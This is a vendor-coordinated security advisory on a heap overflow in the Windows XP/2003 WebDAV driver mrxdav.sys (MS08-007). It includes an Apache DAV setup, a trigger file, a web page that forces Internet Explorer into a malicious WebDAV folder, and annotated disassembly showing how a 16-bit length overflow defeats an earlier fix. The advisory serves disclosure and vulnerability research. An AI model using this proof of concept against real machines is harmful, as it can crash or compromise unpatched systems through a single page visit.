COSEINC WINDOWS ADVISORY #3

Long Pathname Heap Overflows in DAV Mini-Redirector

Microsoft ID – MS08-007

Discovery Date:
3rd May 2005

Date reported to Microsoft:
12th October 2007

Summary:
A heap overflow is found in mrxdav.sys that affects **all versions of WinXP** (SP0/1/2). The driver mrxdav.sys is installed by default and configured for auto-run in WinXP.

The WebDAV mini-redirector is also known as "WebClient" in the Services control-panel. The same vulnerable mrxdav.sys is also found in Win2003 (SP0/1) but the WebClient service is disabled by default in Win2003. The vulnerability may be exploited for both local privilege escalation and as a client-side remote exploit, triggered when a user views a HTML page in IE or when he accesses a DAV resource. An Apache web server with a specifically-modified mod_dav component is required to trigger this vulnerability. Scope of exploitation extends to the Internet since the DAV protocol uses port 80 (and only port 80 is supported by the mini-redirector).

The PoC was tested against both WinXP-SP0/1/2 and Win2003-SP0/SP1 (after **manually** turning on WebClient service) leading to a BSOD in most cases.

Win2K is not affected by this vulnerability as the WebClient service is not implemented for that platform.

Vendor Affected:
Microsoft

Systems Affected:
WinXP-SP0/1/2
Win2003-SP0/1

Exploitation:
1. Local machine reboot via normal user account.
2. Remote machine reboot by enticing user to visit a DAV resource/HTML page on a malicious web server via IE.

POC:
- Setup/re-compile Apache webserver with *modified* and re-compiled mod_dav component/libdav.so
  (tested using mod_dav-1.0.3-1.3.6 with apache_1.3.33):
  a) Refer to sample mod_dav.c (1.0.3-1.3.6) for minor modifications to be made (search for "mrxdav.sys vuln"). The modifications are to enable the component to append very large data (shell-code) as part of a file/dirname, whenever a local file/dirname in DAV directory is
  == "l00l" (lowercaseL-zero-zero-lowercaseL; dont think too hard, its just a name).
- On Apache server:
  a) add WebDav support together with new WebDav location:

```
LoadModule dav_module /usr/lib/apache/1.3/libdav.so
<IfModule mod_dav.c>
   DAVLockDB   /var/lock/DAV/DAVLock
</IfModule>

Alias /dav /var/dav
<Location /dav>
   DAV On
   AllowOverride None
   Options ExecCGI
</Location>
```

b) At local WebDav directory (/var/dav), create the following directory and file:

```
cd /var/dav
mkdir d1
touch l00l
```

c) Create the following html (opendav.html) and serve it from Apache:

```
<html>
<body>

<style>
.httpFolder {behavior: url(#default#httpFolder);}
</style>

<DIV id="oDAV" CLASS="httpFolder" />

<script>
oDAV.navigateFrame("http://ApacheServer/dav/d1","_self");
</script>

</body>
</html>
```

- To trigger vulnerability(BSOD) on target client, access opendav.html on Apache server (and wait! coz mod_dav will be sending some 200k of data before BSOD).

Vulnerability Analysis:

1. The vulnerability is a 16-bit integer-counter overflow resulting in a heap-buffer overflow during concatenation of inbound parent pathname and current file/directory name. A previous related vulnerability in mrxdav.sys is reported in Dec 2003, in Microsoft Knowledgebase 832143 (http://support.microsoft.com/?kbid=832143).
2. This vulnerability is triggered when DAV resource contains pathnames longer than 208h which is easily reproducible by creating long pathnames hosted on the server. Hot-fix for the vulnerability is available (non-free) for SP0/1 and the final-fix released in SP2 (free).
3. However, the fix merely added a 16-bit check for the 208h buffer-limit of concatenated/full DAV pathnames, which is insufficient since this 16-bit integer can be overflowed before the check:

(based on WinXP-SP2 mrxdav.sys)

```
mrxdav!MRxDAVPrecompleteUserModeQueryDirectoryRequest()
 .
 .
```

```
.
0001D355   push    380h
0001D35A   push    offset asc_1D0F6
0001D35F   push    64515644h
0001D364   mov     esi, 208h
0001D369   push    esi                     ; To allocate 208h
                                           ; (MAX_PATH*2) bytes on
                                           ; heap for full DAV
                                           ; pathname
0001D36A   push    1
0001D36C   call    __RxAllocatePoolWithTag@20
.
.
.
0001D373   mov     [ebp+var_14], eax       ; Store buffer address
                                           ; in var_14
.
.                                          ; Copies parent
                                           ; pathname to var_14
.
.
0001D57B   mov     eax, [ebp+var_38]       ; var_38==ptr to
                                           ; unicode parent path
                                           ; component
0001D57E   movzx   eax, word ptr [eax]     ; get 16-bit length of
                                           ; unicode parent path
                                           ; component

0001D581   add     ax, [ebp+String2.Length]  ; String2==unicode of
                                           ; current
                                           ; filename/dirname
                                           ; This adds the 16-bit
                                           ; length of parent
                                           ; pathname
                                           ; to 16-bit length of
                                           ; current dir/filename
                                           ; ** Our modified
                                           ; mod_dav, will send
                                           ; in a legal current
                                           ; dir/filename of up
                                           ; to 0xfff? in length
                                           ; and any parent
                                           ; pathname longer than
                                           ; 0x10000-0xfff? Will
                                           ; overflow the
                                           ; resulting 16-bit
                                           ; value.

0001D588   inc     eax
0001D589   inc     eax                     ; to cater to unicode-
                                           ; null at end of
                                           ; string

0001D58A   cmp     ax, 208h                ; ** fix for KB832143:
                                           ; checks that 16-bit
                                           ; result is <=
```

```
                                ; (MAX_PATH*2) but we
                                ; have already
                                ; overflowed this
                                ; value, so the fix is
                                ; still ineffective.

0001D58E   mov     word ptr [ebp+var_18+2], ax
0001D592   mov     word ptr [ebp+var_18], ax
0001D596   ja      loc_1DBB8
.
.
.
0001D59C   mov     eax, [ebp+var_38]
0001D59F   movzx   eax, word ptr [eax]       ; parent pathname's
                                ; length

0001D5A2   movzx   ecx, [ebp+String2.Length] ; String2's length is
                                ; 0xfff?
0001D5A9   mov     edx, [ebp+var_14]         ; Our 208h-size
                                ; target-buffer

0001D5AC   mov     esi, [ebp+String2.Buffer]

0001D5AF   shr     eax, 1
0001D5B1   lea     edi, [edx+eax*2+2]        ; To concatenate
                                ; current dir/filename
                                ; with parent path in
                                ; var_14 target-buffer
0001D5B5   mov     eax, ecx
0001D5B7   shr     ecx, 2
0001D5BA   rep movsd                         ; 208h target-buffer
                                ; overflowed
0001D5BC   mov     ecx, eax
.
0001D5C4   and     ecx, 3
.
0001D5C8   rep movsb                         ; 208h target-buffer
                                ; overflowed
```

4. Our modified mod_dav checks for a special filename: "l00l" (lowercase L-zero-zero-lowercase L) in the subdirectory requested on the server, and appends 0xfff? binary-bytes (each byte must be encoded using &#x or &#d) to the filename when generating the DAV xml response
5. This results in about (64K*2)*1.5=192K (assuming 0xffff in length, encoded using &#xXXXX hex encoding) or more bytes of data in the DAV xml response. On slow networks, there may be delays before the xml response is fully received by the target client and the vulnerable code is reached. By using the &#xXXXX encoding to send a complete 16-bit Unicode character, we can also send binary-data (except NULLs) in 16-bit chunks
6. This vulnerability is triggered whenever a directory-listing is requested on the vulnerable sub-directory (because we need a parent pathname+current dir/filename) in DAV resource root. 2 ways to trigger this directory-listing:
    a. At **local** commandline, "net use http:\\remotedavhost\davroot" followed by "dir/w \\remotedavhost\davroot\davsubdir"

b. Via IE, enticing user to visit **remote** page which switches to webfolder-view of remote DAV resource:

```
<html>
<body>

<style>
.httpFolder {behavior: url(#default#httpFolder);}
</style>

<DIV id="oDAV" CLASS="httpFolder" />

<script>
oDAV.navigateFrame("http://remotedavhost/davroot/davsubdir","_self");
</script>

</body>
</html>
```

Credit:
This vulnerability was discovered by steven, a Windows security researcher of the COSEINC Vulnerability Research Lab (VRL).

LEGAL DISCLAIMER